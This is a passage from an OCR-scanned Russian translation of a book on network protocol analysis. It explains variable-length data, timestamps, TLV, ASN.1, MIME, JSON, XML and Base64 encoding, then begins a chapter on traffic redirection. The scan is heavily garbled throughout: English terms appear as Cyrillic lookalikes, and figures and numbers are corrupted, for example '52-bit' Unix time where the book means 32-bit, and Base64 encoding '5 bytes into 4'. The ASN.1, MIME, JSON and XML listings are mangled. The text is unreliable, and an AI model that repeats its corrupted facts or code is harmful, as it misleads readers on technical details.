играют от возможности указать переменную длину строки имени 
пользователя и пароля. Протоколы используют несколько стратегий 
для создания значений данных переменной ДЛИНЫ: МЫ обсудим наи- 
более распространенные - терминированные данные, данные с пред- 
варительно заданной длиной, данные неявной длины и дополненные 
данные - в последующих разделах. 


Термини рованные данные 


Вы видели пример данных переменной длины, когда целые числа пе- 
ременной ДЛИНЫ обсуждались ранее в этой главе. Целочисленное зна- 
чение переменной ДЛИНЫ было завершено, когда старший бит октета 
был равен 0. Мы можем расширить концепцию завершающих значе- 
ний на такие элементы, как строки или массивы данных. 

Для значения завершения данных определен терминальный сим- 
ВОЛ, который сообщает синтаксическому анализатору данных, что 
достигнут конец значения данных. Терминальный символ применя- 
ется потому, что он вряд ли будет присутствовать в типичных данных, 
а это гарантирует, что значение не будет завершено преждевременно. 
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Для строковых данных завершающим значением может быть значе- 
ние МОГ, (представленное 0) или один из других управляющих симво- 
лов в наборе АЅСП. 

Если выбранный терминальный символ появляется во время 
обычной передачи данных, то необходимо использовать механизм, 
позволяющий избежать этих символов. В строках часто встречается 
завершающий символ с префиксом обратной косой черты (\), или он 
повторяется дважды, чтобы его нельзя было идентифицировать как 
терминальный символ. Данный подход особенно полезен, когда про- 
токол не знает заранее, какова длина значения, например если оно 
генерируется динамически. На рис. 3.9 показан пример строки, окан- 
чивающейся значением МОГ. 


Действительные строковые данные 


'Н' 'е' '1' "1" о! Ми 
0х48 0х65 0х6С | 0х6С 0хбЕ 0х00 


Завершающий символ 


Рис. 3.9. «НеЦо» как нуль-терминированная строка 


Ограниченные данные часто заканчиваются символом, который 
соответствует первому символу в последовательности переменной 
ДЛИНЫ. Например, при использовании строковых данных вы можете 
найти строку в кавычках, заключенную в кавычки. Начальная двойная 
кавычка указывает парсеру искать соответствующий символ для за- 
вершения данных. На рис. 3.10 показана строка, заключенная в ДВОЙ- 
ные кавычки. 


Действительные строковые данные 


ит "Н' 'е' с: с: о! ит 
0х22 0х48 0х65 0х6С | 0х6С 0хбЕ | 0х22 


Открывающая кавычка Закрывающая кавычка 


Рис. 3.10. «Нео» в виде строки, заключенной в двойные кавычки 


Данные с предварительно заданной длиной 


Если значение данных известно заранее, можно напрямую указать его 
длину в протоколе. Парсер протокола может прочитать это значение, 
а затем прочитать соответствующее количество единиц (например, 
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символов или октетов), чтобы извлечь исходное значение. Это очень 
распространенный способ указания данных переменной длины. 
Фактический размер префикса длины обычно не так важен, хотя 
он должен разумно представлять типы передаваемых данных. Для 
большинства протоколов не требуется указывать полный диапазон 
52-битных целых чисел; однако вы часто будете видеть, что этот раз- 
мер используется в качестве поля длины, хотя бы потому, что он хоро- 
шо подходит для большинства архитектур и платформ процессоров. 
Например, на рис. 3.11 показана строка с префиксом длины 8 бит. 


Количество 
СИМВОЛОВ 5 СИМВОЛОВ 


м ен! 'е' т! 1" 'о' 
0х48 | 0х65 | 0%6С | 0х6С | ОхбЕ 


Рис. 3.11. «НеЦо» как строка с префиксом длины 


Данные неявной длины 


Иногда длина значения данных неявно содержится в окружающих его 
значениях. Например, представьте себе протокол, который отправля- 
ет данные обратно клиенту, используя протокол, ориентированный 
на соединение, допустим ТСР. Вместо того чтобы заранее указывать 
размер данных, сервер может закрыть ТСР-соединение, тем самым 
неявно обозначив конец данных. Так данные возвращаются в ответе 
НТТР версии 1.0. 

Еще один пример - протокол или структура более высокого уровня, 
которые уже указали длину набора значений. Сначала парсер может 
извлечь эту структуру, а затем прочитать содержащиеся в ней значе- 
ния. Протокол может использовать тот факт, что эта структура име- 
ет связанную с ней конечную длину, чтобы неявно вычислить длину 
значения в аналогичной манере, дабы закрыть соединение (конечно 
же, не делая этого). Например, на рис. 3.12 показан простой пример, 
в котором 7-битовое переменное целое число и строка содержатся 
в одном блоке. (Конечно, на практике все может быть значительно 
сложнее.) 


Дополненные данные 


Дополненные данные используются, когда существует максималь- 
ная верхняя граница длины значения, например 32-октетное огра- 
ничение. Для простоты, вместо того чтобы ставить перед значением 
префикс длины или иметь явное завершающее значение, протокол 
может отправлять всю строку фиксированной длины, но завершать 
значение, дополняя неиспользуемые данные известным значением. 
На рис. 5.13 показан пример. 
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0х80 как 7-битное 
переменное целое число Строковые данные 


"н" 'е' С! С! 


Общий размер 7 октетов данных 


Рис. 3.12. «НеЦо» как строка неявной длины 


Действительные строковые данные Дополненные данные 


"н' 'е' п: с! о! е е. е е е е 
0х48 0х65 0х6С | 0х6С Ох6Е | 0х24 0х24 0х24 0х24 0х24 0х24 


Рис. 3.13. «Нео» в виде строки с дополнением «$» 


Даты и время 


Для протокола может быть очень важно получить правильную дату 
и время. Ито, и другое можно использовать в качестве метаданных, 
таких как временные метки изменения файлов в сетевом файло- 
вом протоколе, а также для определения истечения срока действия 
учетных данных для аутентификации. Неправильная установка 
временной метки может вызвать серьезные проблемы с безопасно- 
стью. Метод представления даты и времени зависит от требований 
к использованию, платформы, на которой работают приложения, 
и требований протокола к пространству. В следующих разделах мы 
обсудим два распространенных представления, РОЅІХ/Опіх-время 
и ЕПЕТІМЕ. 


РОЅІХ/Опіх-время 


РОЅІХ/Опіх-время хранится как 32-битное целое число со знаком, 
представляющее количество секунд, прошедших с эпохи Опіх, кото- 
рая обычно указывается как 00:00:00 (ОТС), 1 января 1970 года. Хотя 
это не таймер высокой четкости, его достаточно для большинства сце- 
нариев. Будучи 52-битным числом, это значение ограничено 03:14:07 
(ОТС) 19 января 2038 года, после чего представление будет перепол- 
нено. Некоторые современные операционные системы теперь ис- 
пользуют 64-битное представление для решения этой проблемы. 
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И/паоиз ЕШЕТИМЕ 


ҮіпаӢоуѕ ЕПЕТІМЕ - это формат даты и времени, используемый Мі- 
сгозой М/іпаомѕ для временных меток файловой системы. Будучи 
единственным форматом в Міпӣоуѕ с простым двоичным представ- 
лением, он также присутствует в различных протоколах. 

Формат ЕПЕТІМЕ - это 64-битное целое число без знака. Одна 
единица целого числа представляет интервал 100 нс. Начало отсчета 
формата времени ~ 00:00:00 (ОТС), 1 января 1601 г. Это дает формату 
ЕПЕТІМЕ больший диапазон по сравнению с форматом РОЅІХ/Опіх- 
времени. 


Шаблон ТІМ 


Легко представить, как отправлять неважные данные с помощью 
простых протоколов, но отправка более сложных и важных данных 
требует пояснений. Например, протокол, который может отправлять 
различные типы структур, должен иметь способ представления гра- 
ниц структуры и еетипа. 

Один из способов представления данных - шаблон ТПУ (Тае - 
Гепа - Уаше). Значение Тағ представляет тип данных, отправляемых 
протоколом, который обычно представляет собой числовое значение 
(обычно это список возможных значений). Но это может быть что угод- 
но, что придает структурам данных уникальный шаблон. Гепеїћ и Уа|- 
це – значения переменной длины. Порядок, в котором отображаются 
значения, не важен; на самом деле Таў может быть частью Уаше. На 
рис. 3.14 показано несколько способов расположения этих значений. 


Тег вне значения 5-октетное значение 4-октетное значение 


16-битная 16-битная Тег внутри 
длина длина значения 


Рис. 3.14. Возможные варианты расположения ТІМ 


Отправленное значение Тае можно использовать, чтобы опре- 
делить, как дальше обрабатывать данные. Например, учитывая два 
типа тегов, один из которых указывает учетные данные для аутенти- 
фикации для приложения, а другой представляет сообщение, переда- 
ваемое парсеру, мы должны иметь возможность различать два типа 
данных. Одним из существенных преимуществ этого шаблона явля- 
ется тот факт, что он позволяет нам расширять протокол, не нарушая 
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работу приложений, которые не были обновлены для поддержки об- 
новленного протокола. Поскольку каждая структура отправляется со 
связанными тегом и длиной, парсер протокола может игнорировать 
структуры, которые он не понимает. 


Мультиплексирование и фрагментация 


Часто при обмене данными между компьютерами несколько задач 
должны выполняться одновременно. Например, рассмотрим прото- 
кол удаленного рабочего стола (КОР): пользователь может перемещать 
курсор мыши, печатать на клавиатуре и передавать файлы на удален- 
ный компьютер, в то время как изменения на дисплее и в аудио пере- 
даются обратно пользователю (рис. 3.15). 


Обновления пользовательского 


интерфейса " 


=— Обновления клавиатуры и мыши —— 


Звук ————————»- 
Клиентудаленного 


4— Общие файлы ———— = рабочего стола 
Сервер удаленного рабочего стола 


Рис. 3.15. Данные, необходимые для протокола КОР 


Такая сложная передача данных не принесла бы большого удо- 
вольствия, если бы приходилось дождаться завершения 10-минутно- 
го аудиофайла перед обновлением дисплея. Конечно, можно было бы 
пойти обходным путем и открыть несколько подключений к удален- 
ному компьютеру, но для этого потребовалось бы больше ресурсов. 
Вместо этого многие протоколы используют мультиплексирование, 
которое позволяет нескольким соединениям совместно использовать 
одно и то же базовое сетевое соединение. 

Мультиплексирование (показанное на рис. 3.16) определяет меха- 
низм внутреннего канала, который позволяет одному соединению 
размещать несколько типов трафика путем разбиения крупных пе- 
редач на небольшие фрагменты. После чего они объединяются в одно 
соединение. При анализе протокола вам, возможно, потребуется вы- 
полнить демультиплексирование этих каналов, чтобы вернуть исход- 
ные данные. 

К сожалению, некоторые сетевые протоколы ограничивают тип 
данных, которые можно передать, и размер каждого пакета данных - 
проблема, обычно встречающаяся при иерархии протоколов. Напри- 
мер, Ефегпе{ определяет максимальный размер кадров трафика как 
1500 октетов, и запуск ІР вызывает проблемы, потому что максималь- 
ный размер ІР-пакетов может составлять 65 536 байт. Фрагментация 
призвана решить эту проблему: она использует механизм, позволяю- 
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щий сетевому стеку преобразовывать большие пакеты в более мелкие 
фрагменты, когда приложение или ОС знает, что весь пакет не может 
быть обработан следующим уровнем. 


Обновление 
пользова- Обновление Обновление 
тельского общих файлов звука 
интерфейса 


Сервер удаленного 
рабочего стола 


Сервер удаленного рабочего стола 


Обновление 
Обновление пользова- 


звука тельского 
интерфейса 


Рис. 3.16. Мультиплексированные данные КОР 


Информация о сетевом адресе 


Представление информации о сетевых адресах в протоколе обычно 
следует довольно стандартному формату. Поскольку мы почти навер- 
няка имеем дело с протоколами ТСР или ОПР, наиболее распростра- 
ненным двоичным представлением является ІР-адрес в виде 4- или 
16-октетного значения (для 1Ру4 или [Руб) наряду с 2-октетным пор- 
том. По соглашению эти значения обычно хранятся как целые числа 
с прямым порядком байтов. 

Также можно увидеть, что вместо низкоуровневых адресов отправ- 
ляются имена хостов. Поскольку имена хостов представляют собой 
просто строки, они следуют шаблонам, используемым для отправки 
строк переменной длины, о которых шла речь ранее в разделе «Дан- 
ные переменой длины». На рис. 3.17 показано, как могут появиться 
некоторые из этих форматов. 


Структурированные двоичные форматы 


Хотя у пользовательских сетевых протоколов есть привычка изобре- 
тать колесо, иногда имеет смысл перепрофилировать существующие 
конструкции при описании нового протокола. Например, одним из 
распространенных форматов, встречающихся в двоичных протоко- 
лах, является Арѕігасі бутах Миайоп 1 (АЗМ. 1). АЗМ.1 - основа для та- 
ких протоколов, как $ММР. Это механизм кодирования для всех видов 
криптографических значений, таких как сертификаты Х.509. 
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ІРү4-адрес 
127.0.0.1 ТСР-порт 80 


Имя хоста а.сот ТСР-порт 80 


Завершающий 
СИМВОЛ 


1Руб-адрес 
(128 бит) 
1 ТСР-порт 80 


Рис. 3.17. Сетевая информация в двоичном формате 


АЅМ№.1 стандартизирован 150, ІЕС и ТТИ в серии Х.680. Он опреде- 
ляет абстрактный синтаксис для представления структурированных 
данных. Данные представлены в протоколе в зависимости от пра- 
вил кодирования, и существует множество кодировок. Но вы, скорее 
всего, столкнетесь с особыми правилами кодирования (ЕК), которые 
разработаны для представления структур АЗМ.1 таким образом, что- 
бы их нельзя было истолковать неправильно - полезное свойство для 
криптографических протоколов. Представление ПЕК - хороший при- 
мер протокола ТТУ. 

Вместо того чтобы подробно рассматривать АЗМ.1 (а на это уйдет 
значительная часть книги), я приведу листинг, демонстрирующий 
АЗМ.1 для сертификатов Х.509. 


Листинг 3.1. Представление А5№.1 для сертификатов Х.509 


СегїіҒісаёе ::= ЗЕОЧЕМСЕ { 
мегѕіоп [9] ЕХРЕТСТТ Мегѕіоп ОЕРАЦЕТ \1, 
ѕегіа1МитБег Сегіі ҒісаёеЅегіа1МитБег, 
ѕідпаїџге А1догіїһтІдепёіҒіег, 
155иег Маме, 
ма\ідіёу Ма14аі+у, 
ѕирјесі Мате, 
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ѕирјесЕРОЬ1ісКеуІпҒо Зи ]есЕРиБ\1сКеуТпФо, 
15зчегИплачет) [1] ТМРЕТСТТ УплацеТ деп Аег ОРТТОМАЕ, 
ѕирјесЕ0підиеІр [2] ТМРЕТСТТ ОпідиеІйепёіҒ\іег ОРТТОМАЕ, 
ехіепѕіопѕ [3] ЕХРЕТСТТ Ехіепѕіопѕ ОРТТОМАЕ 


Это абстрактное определение сертификата Х.509 может быть пред- 
ставлено в любом из форматов кодирования А$М.1. В листинге 3.2 по- 
казан фрагмент закодированной в РЕК формы, выгруженной в виде 
текста с помощью утилиты Ореп55$Г. 


Листинг 3.2. Небольшой образец сертификата Х.509 


$ ореп$$1 аѕпірагѕе -іп ехатр\е.сег 


0:0=0 Һ=4 1= 539 сопѕ: ЗЕОЦЕМСЕ 

4:0=1 Һ=4 1= 388 сопѕ: ЗЕОЦЕМСЕ 

8:0=2 Һ=2 1= 3 сопѕ: соп [0 ] 

10:0=3 Һ.=2 1= 1 ргіт: ТАТЕСЕВ :02 

13:0=2 №1=2 1= 16 ргіт: ТАТЕСЕВ :19ВВВЕ9Е2Е7ОбОВЕД8ВЕЕ6840В50Е7С3 
31:0=2 Һ.=2 1= 13 сопѕ: ЗЕОЦЕМСЕ 

33:9=3 Һ.=2 1= 9 ргіт: ОВЈЕСТ :Ѕһа1иіЁҺАЅАЕпсгур&іоп 
44:0=3 Һ=2 1= 0 ргіт: МШ 

46:0=2 Һ=2 1= 17 сопѕ: ЗЕОЦЕМСЕ 

48:0=3 Һ=2 1= 15 сопѕ: ЅЕТ 

50:0=4 Һ=2 1= 13 сопѕ: ЗЕОЦЕМСЕ 

52:4=5 Һ=2 1= 3 ргіт: ОВЈЕСТ : соттопМате 

57:0=5 Һ=2 1= 6 ргіт: РАІМТАВІЕЅТВІМ№С : детоса 


Структуры текстового протокола 


Текстовые протоколы - хороший выбор, когда основной целью яв- 
ляется передача текста, поэтому протоколы передачи почты, обме- 
на мгновенными сообщениями и агрегирования новостей обычно 
основаны на тексте. Текстовые протоколы должны иметь структуру, 
аналогичную двоичным протоколам. Причина в том, что хотя их ос- 
новное содержание различается, оба типа протоколов разделяют цель 
переноса данных из одного места в другое. 

В следующем разделе подробно описаны некоторые распростра- 
ненные структуры текстовых протоколов, с которыми вы, вероятно, 
столкнетесь в реальном мире. 


Числовые данные 


На протяжении тысячелетий наука и письменные языки изобрета- 
ли способы представления числовых значений в текстовом форма- 
те. Конечно, компьютерные протоколы не обязательно должны быть 
удобочитаемыми, но зачем изо всех сил стараться сделать протокол 
недоступным для чтения (если ваша цель не преднамеренное запу- 
тывание)? 
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Целые числа 


Целочисленные значения легко представить, используя представ- 
ление текущего набора символов от 0 до 9 (или от А до Е, если оно 
шестнадцатеричное). В этом простом представлении ограничения 
размера не имеют значения, и если число должно быть больше, чем 
размер двоичного слова, то можно добавить цифры. Конечно, лучше 
надеяться, что парсер протокола сможет обработать лишние цифры, 
иначе неизбежно возникнут проблемы с безопасностью. 

Чтобы создать число со знаком, нужно добавить знак минуса (-) 
в начало числа; для положительных чисел подразумевается исполь- 
зование знака плюса (+). 


Десятичные числа 


Десятичные числа обычно определяются с использованием удобо- 
читаемых форм. Например, можно написать число 1.254, используя 
символ точки, чтобы разделить целую и дробную части числа; однако 
после этого по-прежнему необходимо учитывать требование парсин- 
га значения. 

Двоичные представления, такие как числа с плавающей точкой, не 
могут точно представлять все десятичные значения с конечной точ- 
ностью (так же, как десятичные дроби не могут представлять числа 
вроде 1/3). Этот факт может затруднить представление некоторых 
значений в текстовом формате и вызвать проблемы с безопасностью, 
особенно при сравнении значений. 


Текстовые логические значения 


Логические значения легко представить в текстовых протоколах. 
Обычно для этого используются слова ѓгие или /а[5е. Но на всякий 
случай некоторые протоколы могут потребовать, чтобы слова были 
написаны с заглавной буквы, дабы они были действительными. 
А иногда вместо слов будут использоваться целочисленные значения, 
например 0 для }а[5е и 1 для Ние, но не очень часто. 


Даты и время 


На простом уровне закодировать дату и время легко: просто пред- 
ставьте их так, как если бы они были написаны на понятном человеку 
языке. Пока все приложения согласны с представлением, этого долж- 
но быть достаточно. 

К сожалению, не все могут договориться о стандартном формате, 
поэтому обычно используется много конкурирующих представлений 
дат. Это может стать особенно острой проблемой в таких приложе- 
ниях, как почтовые клиенты, которым необходимо обрабатывать все 
виды международных форматов дат. 
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Данные переменной длины 


Все протоколы, кроме самых тривиальных, должны иметь способ раз- 
деления важных текстовых полей, чтобы их можно было легко интер- 
претировать. Когда текстовое поле отделено от исходного протокола, 
обычно оно называется токеном. Некоторые протоколы определяют 
фиксированную длину токенов, но гораздо чаще требуются типы дан- 
120504 переменной ДЛИНЫ. 


Текст с разделителями 


Разделение токенов с помощью символов-разделителей - очень рас- 
пространенный способ разделения токенов и полей, который прост 
для понимания и легок для конструирования и анализа. В качестве 
разделителя можно использовать любой символ (в зависимости от 
типа передаваемых данных), но в удобочитаемых форматах чаще 
всего встречаются пробелы. При этом разделитель не обязательно 
должен быть пробелом. Например, протокол обмена финансовой ин- 
формацией (ЕІХ) разграничивает токены с помощью символа начала 
заголовка АЗСП (ЅОН) со значением 1. 


Терминированный текст 


Протоколы, определяющие способ разделения отдельных токенов, 
также должны иметь способ определения условия окончания коман- 
ды. Если протокол разбит на отдельные строки, они должны быть ка- 
ким-то образом завершены. Большинство известных текстовых ин- 
тернет-протоколов являются строчно-ориентированными, например 
НТТР и ІВС; обычно строки ограничивают целые структуры, напри- 
мер конец команды. 

Что составляет символ конца строки? Зависит оттого, кого вы спра- 
шиваете. Разработчики ОС обычно определяют символ конца строки 
как перевод строки АЅСП (ІР), который имеет значение 10; возврат 
каретки (СК) со значением 13; или сочетание СКІҒ. Такие протоколы, 
как НТТР и $МТР, определяют его как официальное сочетание конца 
строки. Однако встречается так много некорректных реализаций, что 
большинство парсеров также принимают обычный перевод строки 
как указатель конца строки. 


Структурированные текстовые форматы 


Как ив случае со структурированными двоичными форматами, таки- 
ми как АЗМ.1, обычно нет причин изобретать велосипед, если вы хо- 
тите представить структурированные данные в текстовом протоколе. 
Можно рассматривать структурированные текстовые форматы как 
текст с разделителями на стероидах, и поэтому должны существовать 
правила для представления значений и построения иерархий. Учиты- 
вая это, я опишутри формата, которые обычно используются в реаль- 
ных текстовых протоколах. 
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Многоцелевые расширения интернет-почты (МІМЕ) 


Первоначально разработанный для отправки составных сообщений 
электронной почты, стандарт МІМЕ (Миригро$е Пиегпе Май Ежеп- 
ѕіопѕ – многоцелевые расширения интернет-почты) нашел свое при- 
менение в ряде протоколов, таких как НТТР. Спецификация в ВЕС 
2045, 2046 и 2047 наряду со множеством других связанных ВЕС опре- 
деляет способ кодирования нескольких дискретных вложений в од- 
ном сообщении с кодировкой МІМЕ. 

Эти сообщения разделяют части тела письма, определяя общую 
разделительную линию с префиксом из двух тире (--). Сообщение за- 
вершается следующими за этим разделителем такими же двумя де- 
фисами. В листинге 3.3 показан пример текстового сообщения, объ- 
единенного с двоичной версией того же сообщения. 


Листинг 3.3. Простое сообщение с кодировкой МІМЕ 


МІМЕ -Мегѕіоп: 1.0 
Сопфеп{-Туре: ти1ірагё/тіхеа; Боупдагу=М$С_2934894829 


ТҺіѕ 15 а теѕѕаде ил ЕВ пи {ре рагіѕ іп МІМЕ Когмаф. 
--М5(_2934894829 
Сопфеп{-Туре: %ехЕ/р1а\1лп 


Нео Мог1а! 

--М5(_2934894829 

Сопфеп{-Туре: арр1їсаіоп/осіеї-ѕ5їгеат 
Сопфеп{-ТгапзРег-Епсод1пд: Баѕеб4 


РОБОБ\м+С) х\Ь2В5Рорт7МхзБуВХЬ33$7СЕКРС91Ь2В 5РЧо8Е2В0БИм+С9== 
--М5(_2934894829- 


Одно из наиболее распространенных применений МГМЕ - значе- 
ния Сопїепї-Туре, которые обычно называют типами МІМЕ. МІМЕ- 
тип широко используется при обслуживании содержимого НТТР 
и воперационных системах для сопоставления приложения с опреде- 
ленным типом содержимого. Каждый тип состоит из формы данных, 
которые он представляет, например текста или приложения, в фор- 
мате данных. В данном случае р1аіп – это незакодированный текст, 
а осіеї - ѕігеат – это последовательность байтов. 


Текстовый формат обмена данными, основанный на ЈауаЅсгірї (]5ОМ) 


]ЗОМ (Јауа$сгірг ОБесЕ МоаНоп) был разработан как простое представ- 
ление для структуры на основе формата объекта, предоставляемого 
языком программирования ЈауаЅсгірї. Первоначально он использо- 
вался для передачи данных между веб-страницей в браузере и сер- 
верной службы, например в асинхронном ЈауаЅсгірі и ХМІ (АЈАХ). 
В настоящее время обычно он используется для передачи данных 
веб-сервисов и всевозможных других протоколов. 


Структура сетевых протоколов 83 


Формат ]5ОМ прост: объект ]ЗОМ заключается в фигурные скобки 
(11) в виде символов АЅСП. В этих скобках содержится ноль или более 
элементов, каждый из которых состоит из ключа и значения. Напри- 
мер, в листинге 5.4 показан простой объект Ј50М№, состоящий из це- 
лочисленного индексного значения «НеПо мой!» в качестве строки 
и массива строк. 


Листинг 3.4. Простой объект /5ОМ 


{ 
"Апдех" : 0, 
"ёг" : "Нео Мог14!", 
"агг" : [ ВА, "В" 1 

} 


Формат ]ЗОМ был разработан для обработки ЈауаЅсгірї, и его мож- 
но разобрать с помощью функции еуа\. К сожалению, использование 
этой функции сопряжено со значительным риском для безопасности; 
а именно во время создания объекта можно вставить произвольный 
код сценария. Хотя большинство современных приложений исполь- 
зуют библиотеку парсинга, для которой не требуется подключение 
к Јауа$сгірї, стоит убедиться, что произвольный код ]ауа$сире не 
выполняется в контексте приложения. Это может привести к по- 
тенциальным проблемам с безопасностью, таким как межсайтовый 
скриптинг (Х$5). Это уязвимость, при которой управляемый злоу- 
мышленником код Јауа$сгірі может выполняться в контексте другой 
веб-страницы, позволяя ему получить доступ к защищенным ресур- 
сам страницы. 


Расширяемый язык разметки (ХМЕ) 


Ежеп$ Ме Магкир Гапвиаве (ХМІ) - это язык разметки для описания 
формата структурированного документа. Разработанный консорциу- 
мом МС, он берет свое начало из З{апдага Сбепега1іхеа МагКкир Гап- 
эцаее ($СМГ). Он во многом похож на НТМГ, но стремится к более 
строгому определению, чтобы упростить парсеры и не создавать 
проблем с безопасностью". 

На базовом уровне ХМГ, состоит из элементов, атрибутов и текс- 
та. Элементы - это основные структурные значения. У них есть имя, 
и они могут содержать дочерние элементы или текст. В одном доку- 
менте разрешен только один корневой элемент. Атрибуты - это до- 
полнительные пары типа «имя-значение», которые можно присвоить 
элементу. Они имеют форму пате = "Уаше". Текстовое содержимое – 
это просто текст. Текст - это дочерний элемент элемента или компо- 
нент значения атрибута. 


' Просто спросите тех, кто пытался разобрать НТМЕ на предмет ошибок 
в коде сценария, насколько сложной может быть эта задача при отсутствии 
строгого формата. 
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В листинге 3.5 показан очень простой ХМІ-документ с элементами, 
атрибутами и текстовыми значениями. 


Листинг 3.5. Простой ХМІ-документ 


<уаше 1пдех="0"> <Ѕіг>Не11о Мог1а! </ѕЁг> 
<агг><уа\џе>А</ма1џе><уа1ие>В</ма1џе></агг> 
</ма\ше> 


Все данные ХМГ являются текстовыми; в спецификации ХМІ не 
указана информация о типе, поэтому парсер должен знать, что пред- 
ставляют собой значения. Некоторые спецификации, такие как ХМІ. 
Ѕсһета, направлены на устранение недостатка информации данного 
типа, но они не требуются для обработки содержимого ХМГ. Специ- 
фикация ХМГ, определяет список правильно сформированных крите- 
риев, которые можно использовать, чтобы определить, соответствует 
ли документ ХМГ минимальному уровню структуры. 

ХМГ используется во многих различных местах для определения 
того, как информация передается в протоколе, например в Вісћ Ѕіѓе 
бититтагу (В$5). Он также может быть частью протокола, как в Ех{еп$1- 
Ые Меззая те апа Ргезепсе Ргогосо] (ХМРР). 


Кодирование двоичных данных 


На заре становления компьютерных коммуникаций 8-битные байты 
не были нормой. Поскольку ббльшая часть данных была текстовой 
и была ориентирована на англоязычные страны, было экономиче- 
ски целесообразно отправлять только 7 бит на каждый байт, как того 
требует стандарт АЗСП. Это позволяло другим битам обеспечивать 
управление протоколами последовательной связи или повышать 
производительность. Все это в значительной степени отражено в не- 
которых ранних сетевых протоколах, таких как 5МТР или ММТР, кото- 
рые предполагают 7-битные каналы связи. 

Но 7-битное ограничение представляет проблему, если вы хотите 
отправить забавную картинку своему другу по электронной почте 
или написать письмо с использованием набора символов, не отно- 
сящихся к английскому языку. Чтобы преодолеть это ограничение, 
разработчики создали несколько способов кодирования двоичных 
данных в виде текста. Каждый из них обладает разной степенью эф- 
фективности или сложности. 

Как оказалось, у возможности конвертировать двоичный контент 
в текст по-прежнему есть свои преимущества. Например, если вы хо- 
тите отправить двоичные данные в структурированном текстовом 
формате, таком как ]5ОМ или ХМІ, то вам может потребоваться со- 
ответствующее экранирование разделителей. Вместо этого можно 
выбрать существующий формат кодирования, например Ваѕеб4, для 
отправки двоичных данных, и его легко поймут обе стороны. 
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Рассмотрим некоторые наиболее распространенные схемы коди- 
рования двоичного кода в текст, с которыми вы, вероятно, столкне- 
тесь при изучении текстового протокола. 


Шестнадцатеричное кодирование 


Один из самых простых способов кодирования двоичных данных - 
это шестнадиатеричное кодирование. В шестнадцатеричном кодиро- 
вании каждый октет разбивается на два 4-битных значения, которые 
преобразуются вдва текстовых символа, обозначающих шестнадцате- 
ричное представление. В результате вы получаете простое представ- 
ление двоичного файла в текстовой форме, как показано на рис. 3.18. 


00000110 11100011 01011000 


"Е" "3" Біт 


Рис. 3.18. Пример шестнадцатеричного кодирования двоичных данных 


Несмотря на простоту, шестнадцатеричное кодирование неэффек- 
тивно, поскольку все двоичные данные автоматически становятся на 
100 % больше, чем были изначально. Но одно из преимуществ состоит 
в том, что операции кодирования и декодирования быстрые и прос- 
тые и мало что может пойти не так, а это определенно выгодно с точ- 
ки зрения безопасности. 

НТТР определяет аналогичную кодировку для ОКІ-адресов и неко- 
торых текстовых протоколов. Это называется проиентным кодирова- 
нием. Вместо того чтобы кодировать все данные, в шестнадцатерич- 
ный формат преобразуются только непечатаемые данные, а значения 
обозначаются префиксом с помощью символа %. Если бы процентное 
кодирование использовалось для кодирования значения на рис. 3.18, 
то вы бы получили это: %06%Е5%58. 


Вазеб4 


Чтобы противостоять очевидной неэффективности шестнадцатерич- 
ного кодирования, можно использовать Ваѕеб4, схему кодирования, 
первоначально разработанную как часть спецификаций МГМЕ. Чис- 
ло 64 в названии относится к количеству символов, используемых для 
кодирования данных. 

Входной двоичный файл делится на отдельные 6-битные значения, 
достаточные для представления от 0 до 63. Это значение затем ис- 
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пользуется для поиска соответствующего символа в таблице кодиро- 
вания, как показано на рис. 3.19. 


Нижние 4 бита 
0 1 2 3 4 5 6 7 8 9 А В С р Е Е 


| ЗЕРЕ 
ооа оооаоаоа ВЕ 
паара аоааиа 


Рис. 3.19. Таблица кодировки Ваѕеб4 


Верхние 2 бита 


Но у этого подхода есть проблема: когда 8 бит делятся на 6, остается 
2 бита. Чтобы решить эту проблему, ввод осуществляется в единицах 
по три октета, потому что деление 24 бит на 6 бит дает 4 значения. Та- 
ким образом, Ваѕеб4 кодирует 5 байта в 4, что составляет увеличение 
всего на 33 %, а это значительно лучше, чем при шестнадцатеричном 
кодировании. На рис. 5.20 показан пример кодирования трехоктет- 
ной последовательности в Ваѕеб4. 


Рис. 3.20. Кодируем 3 байта как 4 символа 


Но при такой стратегии возникает еще одна проблема. Что, если 
у вас есть только один или два октета для кодирования? Не приведет 
ли это к сбою? Ваѕеб4 решает эту проблему, определяя символ-запол- 
нитель, знак равенства (=). Если в процессе кодирования нет доступ- 
ных для использования допустимых битов, кодировщик закодирует 
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это значение как заполнитель. На рис. 5.21 показан пример кодирова- 
ния только одного октета. Обратите внимание, что он генерирует два 
символа-заполнителя. Если бы были закодированы два октета, Ваѕеб4 
сгенерировал бы только один. 


[ооо 


Рис. 3.21. Кодируем 1 байт как 3 символа 


Чтобы преобразовать данные обратно в двоичные, просто выпол- 
ните эти действия в обратном порядке. Но что произойдет, если во 
время декодирования вам встретится символ, отличный от Ваѕеб4? 
Что ж, это решать приложению. Мы можем только надеяться, что он 
примет безопасное решение. 


Заключительное слово 


В этой главе мы определили множество способов представления зна- 
чений данных в двоичных и текстовых протоколах и обсудили, как 
представить числовые данные, например целые числа, в двоичном 
формате. Понимание того, как октеты передаются в протоколе, имеет 
решающее значение для успешного декодирования значений. В то же 
время важно определить множество способов представления значе- 
ний данных переменной длины, поскольку они, возможно, являют- 
ся наиболее важной структурой, с которой вы столкнетесь в сетевом 
протоколе. Если вы будете анализировать больше сетевых протоко- 
лов, то увидите, что одни и те же структуры используются неодно- 
кратно. Возможность быстро идентифицировать структуры является 
ключом к простой обработке неизвестных протоколов. 

В главе 4 мы рассмотрим несколько реальных протоколов и разбе- 
рем их, чтобы увидеть, как они соответствуют описаниям, представ- 
ленным в этой главе. 


РАСШИРЕННЫЙ 
ПЕРЕХВАТ ТРАФИКА 
ПРИЛОЖЕНИЙ 


бычно методов перехвата сетевого трафика, которые вы изучили 
в главе 2, должно быть достаточно, но иногда приходится стал- 
киваться с запутанными ситуациями, требующими более слож- 
ных способов перехвата. Бывает, проблема заключается во встроенной 
платформе, которую можно настроить только с помощью протокола 
ОНСР) в других случаях у вас может быть сеть, где у вас мало возмож- 
ностей для контроля, только если вы не подключены к ней напрямую. 
Большинство передовых методов перехвата трафика, обсуждае- 
мых в этой главе, используют существующую сетевую инфраструк- 
туру и протоколы для перенаправления трафика. Ни один из них не 
требует специального оборудования; все, что вам понадобится, – это 
программные пакеты, обычно встречающиеся в различных операци- 
онных системах. 


Перенаправление трафика 


ЇР - это маршрутизируемый протокол, т. е. ни одному из узлов в сети 
не нужно знать точное местоположение других узлов. Когда один узел 
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хочет отправить трафик другому узлу, к которому он не подключен 
напрямую, он отправляет трафик шлюзу, который пересылает трафик 
получателю. Обычно шлюз также называют маршрутизатором. Это 
